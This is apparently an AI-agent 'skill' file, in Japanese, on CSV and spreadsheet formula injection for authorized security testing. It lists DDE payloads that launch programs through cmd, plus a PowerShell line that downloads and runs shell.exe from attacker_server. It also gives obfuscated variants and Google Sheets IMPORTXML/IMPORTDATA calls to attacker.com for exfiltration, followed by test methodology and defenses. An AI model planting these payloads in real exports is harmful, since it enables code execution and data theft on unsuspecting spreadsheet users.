SKILL: CSV式インジェクション

AI LOAD INSTRUCTION: このスキルは、CSVおよびスプレッドシートコンテキストにおける式/DDEスタイルのインジェクション、難読化、クラウドシート基本要素、および安全なテスト方法論をカバーします。明示的な認可がある場合のみ使用してください。ローカルコマンドまたはリモートフェッチを呼び出すペイロードは影響が大きいため、ラボターゲットを優先し、同意を文書化してください。プログラムルールがクライアント側実行テストを許可していない限り、エンドユーザーをターゲットにしないでください。

0. クイックスタート

Excel、LibreOffice Calc、または類似ソフトウェアでセルを開いたときに式評価をトリガーする可能性がある文字 (多くの場合、セルが式として解釈される場合のみ):

=
+
-
@

テストセルは以下のようになります:

name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)

ルーティング注記: CSVエクスポート、バックオフィスレポート、またはスプレッドシートで開かれるユーザーデータをテストするときは、これらのプレフィックス文字を優先してください。

---

1. DDEインジェクション (EXCEL / LIBREOFFICE)

Dynamic Data Exchange (DDE) およびスプレッドシートで歴史的に悪用された外部呼び出しパターン。管理されたラボでの再現例:

DDE("cmd";"/C calc";"!A0")A0

@SUM(1+1)*cmd|' /C calc'!A0

=2+5+cmd|' /C calc'!A0

=cmd|' /C calc'!'A1'

PowerShellスタイルのチェーニング (ラボのみ; ホストとペイロードを無害な同等物に置き換えてください):

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

---

2. 難読化

防御的なパーサーは明白なパターンをストリップするため、テスターはノイズと間隔を試す場合があります (許可されている場合のみ):

AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A

= の後の余分な空白:

=         cmd|'/c calc.exe'!A

分散文字 / 異常な間隔 (概念パターン—パーサーごとに調整してください):

=    C    m D    |'/c calc.exe'!A

rundll32 スタイル:

=rundll32|'URL.dll,OpenURL calc.exe'!A

---

3. GOOGLE SHEETS

エクスポートされたデータが後で Google Sheets で開かれた場合、またはシートが信頼されていないCSVから取得する場合、これらの関数はアウトバウンドリクエストまたはクロスドキュメントデータプルを引き起こします:

データ流出 / プローブ (URLを認可されたコールバックに置き換えてください):

=IMPORTXML("http://attacker.com/", "//a/@href")

その他のハイリスク import:

=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")

どの関数が実行されたか、およびどのようなネットワーク副作用が発生したかを文書化してください。

---

4. テスト方法論

1. シンクをマッピング — CSV、XLSX、またはタブ区切り出力を発する任意の機能: 管理者エクスポート、監査ログ、ユーザー名簿、請求レポート、検索結果。
2. ユーザー制御フィールドをトレース — プロフィールフィールド、チケットタイトル、トランザクションメモ、タグ、ZIPエクスポート内のファイル名—保存されたインプットをエコーするあらゆるカラム。
3. 式プレフィックスをインジェクト — 無害な算術 (=1+1, +1+1) で開始して評価を検出し、ルールに従ってのみエスカレートしてください。
4. ターゲットソフトウェアで開く — 被害者のワークフローを一致させてください: Excelデスクトップ、LibreOffice、Google Sheetsインポート、ロケール固有の小数区切り文字。
5. 証拠 — セルが計算結果、セキュリティ警告、またはDDEプロンプトを表示するかどうかをスクリーンショット/キャプチャしてください; 製品バージョンをメモしてください。

注記: ユーザーインプット -> エクスポート -> スプレッドシートソフトウェアで開く チェーンに焦点を当ててください。

---

5. 防御

アプリケーションおよびエクスポート層の軽減:

• シングルクォートでプレフィックス — 多くのスプレッドシートアプリでは、先頭の ' はテキスト解釈を強制します: '=cmd|... は文字通りに表示されます。
• タブでプレフィックス — いくつかのパイプラインは、正しく取り込まれたとき、タブでプレフィックスされたフィールドを非式テキストとして扱います。
• 先頭トリガーをストリップまたは中立化 — エクスポート時に先頭の =, +, -, @ (およびUnicodeルックアライク) を削除またはエスケープします。
• CSVエンコーディング — 一貫したクォーティングを使用し、カラムタイプを検証し、サニタイゼーションなしで生の式文字列を財務/レポートテンプレートに渡さないでください。
• ユーザー教育 — ポリシーなしに外部データ / DDEを有効にしないでください。

安全なエクスポート変換例 (概念):

Input:  =1+1
Output: '=1+1   OR   \t=1+1   OR   (empty prefix) with escaped quotes per RFC 4180

注記: ビジネスエクスポート、レポート、およびAPIエクスポートパラメータを相互参照する場合、インジェクション、ビジネスロジック、およびAPI-セキュリティスキルと組み合わせてください。